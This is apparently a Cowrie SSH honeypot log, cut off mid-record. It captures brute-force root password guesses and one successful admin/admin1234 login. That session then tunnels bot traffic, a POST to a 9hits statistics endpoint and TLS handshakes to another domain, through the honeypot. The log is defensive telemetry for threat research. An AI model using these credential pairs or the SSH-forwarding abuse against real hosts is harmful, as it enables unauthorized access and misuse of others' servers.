{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:49.819983Z","src_ip":"103.77.242.62","session":"bf99e0f7694e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"161289","message":"login attempt [root/161289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:50.553022Z","src_ip":"103.77.242.62","session":"bf99e0f7694e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:51.799200Z","src_ip":"103.77.242.62","session":"bf99e0f7694e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":38624,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c64d3266a23","protocol":"ssh","message":"New connection: 89.223.69.22:38624 (10.17.0.5:22) [session: 6c64d3266a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:56.104300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:56.108710Z","src_ip":"89.223.69.22","session":"6c64d3266a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:56.228345Z","src_ip":"89.223.69.22","session":"6c64d3266a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130181","message":"login attempt [root/130181] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:56.582297Z","src_ip":"89.223.69.22","session":"6c64d3266a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:57.702737Z","src_ip":"89.223.69.22","session":"6c64d3266a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":63064,"dst_ip":"10.17.0.5","dst_port":22,"session":"b074a2054f49","protocol":"ssh","message":"New connection: 113.164.152.20:63064 (10.17.0.5:22) [session: b074a2054f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:02.471364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:02.475558Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:02.800444Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:04.087347Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:04.538989Z","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:04.638684Z","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:04.832638Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NVIkKER%2BYk92VDVuUkZrQg%3D%3DHNY%2BaIKWVcLlqf99fogwAdjjAvTaJeE47Reg%2BcZudCghgG7%2Fm6LTUiCDzPq98IwM%2FMd5wSW2tfXT0FrOUpowOSV1A%2BqvwicJrYORVJJOEUu4ulwI1LxrmGSEaGTcCdZq%2BQWUKj%2BR4Gogw6FGqSFWg2OHO%2Fkj4uezXwjEf18XPrCjsAT2%2BoZzT38lFy2%2BNZw7SLkRQFQrI55RCXviGR0MvJ5VUHgShUyZACKEPpf%2BDIthkedo3UJDzwwpdbJvNsNmgKktjw%2BRGT%2Buqa3Lb9a0yEoYiP98lXgwswYgtraELt2ZuBpfiP0eRBNqVCDVKPw5561Hejg23VUS53mZUDe5ApBtkhfEs%2BqKT1J08ykLFkxsCnij1u2Kq8RKFq%2FmjsKR2sUF2tvX6885BFAapR15r091c2LkWqvj%2BnBLrb9%2FbJfD4ACzkOMX6EyUQGLkOayWddueKjccywFD4m%2Fj9RmNbYQeEkwzZTM9z7u8uuLXGAAYI54z%2F5HSHD5VxDCRkrdcdMhAdQgGgKCvCUGMYffvwtJuYeBJtvJoTLQqeaetU4DDy3BJAtTEkcDU1n6VFNRIJpxKybRY6b0Jj58dI43CAB%2FWs7XmhHkdwOPZ1r3OqjlTbLVG0khtP8YC1Z0FuDmAf8wiQo4kS1PL21c%2BKF2NRvTiDIxlECicj2LdJ2%2FpeKPS1xJKpunh3g%2FSrQg%2FRos8J%2FzGMXn0UKvn5nflw%2FzdEOH9Gc5IgsAYEOPM0awu05%2FsJR2mGxUDSGKVzgqnSRQd2PDyeXzDBYrc%2B%2FnFT9wq8gfzSo7GpJ6IBvVzDrDbGjcTDhxhfMYTNCMAbVyPN3PgY1h0TkaDkPyyamAz%2FbqBpXAm%2BpRGn6JOfh%2BAEqU%2BkNgrA6F%2Fq5j0qHDngL9aWBIZxdjx6NSA6sgkfU%2Fo83gL0QR85jpWJSO%2B5NEBnQ95l%2BxwIhY2T4GvonbRsW%2BlCGsGJNZmaYj%2B6ReSn8EDsWRPWXV7IfUH9nhUaRUwf90e7%2F%2FaAgZUKkHMaWFWGkzn%2Bc9SPbJUaanzceXU%2BRofdLJFAaBaKi4Fov9Oitwwgd6vQWfo1fC7AhCv%2FxkF3eTt6Fh0'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NVIkKER%2BYk92VDVuUkZrQg%3D%3DHNY%2BaIKWVcLlqf99fogwAdjjAvTaJeE47Reg%2BcZudCghgG7%2Fm6LTUiCDzPq98IwM%2FMd5wSW2tfXT0FrOUpowOSV1A%2BqvwicJrYORVJJOEUu4ulwI1LxrmGSEaGTcCdZq%2BQWUKj%2BR4Gogw6FGqSFWg2OHO%2Fkj4uezXwjEf18XPrCjsAT2%2BoZzT38lFy2%2BNZw7SLkRQFQrI55RCXviGR0MvJ5VUHgShUyZACKEPpf%2BDIthkedo3UJDzwwpdbJvNsNmgKktjw%2BRGT%2Buqa3Lb9a0yEoYiP98lXgwswYgtraELt2ZuBpfiP0eRBNqVCDVKPw5561Hejg23VUS53mZUDe5ApBtkhfEs%2BqKT1J08ykLFkxsCnij1u2Kq8RKFq%2FmjsKR2sUF2tvX6885BFAapR15r091c2LkWqvj%2BnBLrb9%2FbJfD4ACzkOMX6EyUQGLkOayWddueKjccywFD4m%2Fj9RmNbYQeEkwzZTM9z7u8uuLXGAAYI54z%2F5HSHD5VxDCRkrdcdMhAdQgGgKCvCUGMYffvwtJuYeBJtvJoTLQqeaetU4DDy3BJAtTEkcDU1n6VFNRIJpxKybRY6b0Jj58dI43CAB%2FWs7XmhHkdwOPZ1r3OqjlTbLVG0khtP8YC1Z0FuDmAf8wiQo4kS1PL21c%2BKF2NRvTiDIxlECicj2LdJ2%2FpeKPS1xJKpunh3g%2FSrQg%2FRos8J%2FzGMXn0UKvn5nflw%2FzdEOH9Gc5IgsAYEOPM0awu05%2FsJR2mGxUDSGKVzgqnSRQd2PDyeXzDBYrc%2B%2FnFT9wq8gfzSo7GpJ6IBvVzDrDbGjcTDhxhfMYTNCMAbVyPN3PgY1h0TkaDkPyyamAz%2FbqBpXAm%2BpRGn6JOfh%2BAEqU%2BkNgrA6F%2Fq5j0qHDngL9aWBIZxdjx6NSA6sgkfU%2Fo83gL0QR85jpWJSO%2B5NEBnQ95l%2BxwIhY2T4GvonbRsW%2BlCGsGJNZmaYj%2B6ReSn8EDsWRPWXV7IfUH9nhUaRUwf90e7%2F%2FaAgZUKkHMaWFWGkzn%2Bc9SPbJUaanzceXU%2BRofdLJFAaBaKi4Fov9Oitwwgd6vQWfo1fC7AhCv%2FxkF3eTt6Fh0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:04.836960Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:05.119671Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037vY\\xff\\xad\\x9b\\x95`[\\x8dv\\xb1\\x11\\x82e\\xe8\\xfa\\x0e\\x86\\xcaR\\xcfQ\\x04\\xfb\\xf7\\xe7\\xa5q\\x83\\x80\\xc7 5\\xb4\\xf9\\\\7\\x94\\xba\\x85\\xee\\xf9\\xfb\\xfb\\xe3i\\x0b\\xb8\\x1b\\xf7-\\x11WB$f\\x98\\x7fo\\x1de\\xfeU|\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 i3\\xac\\xdfy\\xf0(\\xee\\xd0N\\xb6\\xf5\\xdf,cH\\xc9\\xa8\\x0f\\xb5\\xf8\\xda\\xf5Bs\\x9f\\x13i\\xae\\xcb\\x18#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037vY\\xff\\xad\\x9b\\x95`[\\x8dv\\xb1\\x11\\x82e\\xe8\\xfa\\x0e\\x86\\xcaR\\xcfQ\\x04\\xfb\\xf7\\xe7\\xa5q\\x83\\x80\\xc7 5\\xb4\\xf9\\\\7\\x94\\xba\\x85\\xee\\xf9\\xfb\\xfb\\xe3i\\x0b\\xb8\\x1b\\xf7-\\x11WB$f\\x98\\x7fo\\x1de\\xfeU|\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 i3\\xac\\xdfy\\xf0(\\xee\\xd0N\\xb6\\xf5\\xdf,cH\\xc9\\xa8\\x0f\\xb5\\xf8\\xda\\xf5Bs\\x9f\\x13i\\xae\\xcb\\x18#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:05.123582Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:05.698795Z","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":49633,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f6c09937f1","protocol":"ssh","message":"New connection: 23.175.50.51:49633 (10.17.0.5:22) [session: 28f6c09937f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:05.823895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:05.838177Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:05.992810Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06\\xfb\\x10\\xdc\\xb9\\x0c\\xb6\\xa6\\xa6c\\x0b\\xb9\\x04\\xa5B\\xcb\\x11\\\\\\xef\\xb5\\x08\\xc9,\\xee\\x0e\\x19\\xac\\xb9\\x1e\\x88\\xcf\\x08 e\\xde\\xc6\\xea\\xfd*tx\\xfe\\xf0\\x1e\\xe3<\\x0b\\x19\\xdb\\xca\\xd2\\x0b\\xce0\\xb1\\x1ec\\x9f\\xbc\\x82\\x96\\xc7\\x8c-Y\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 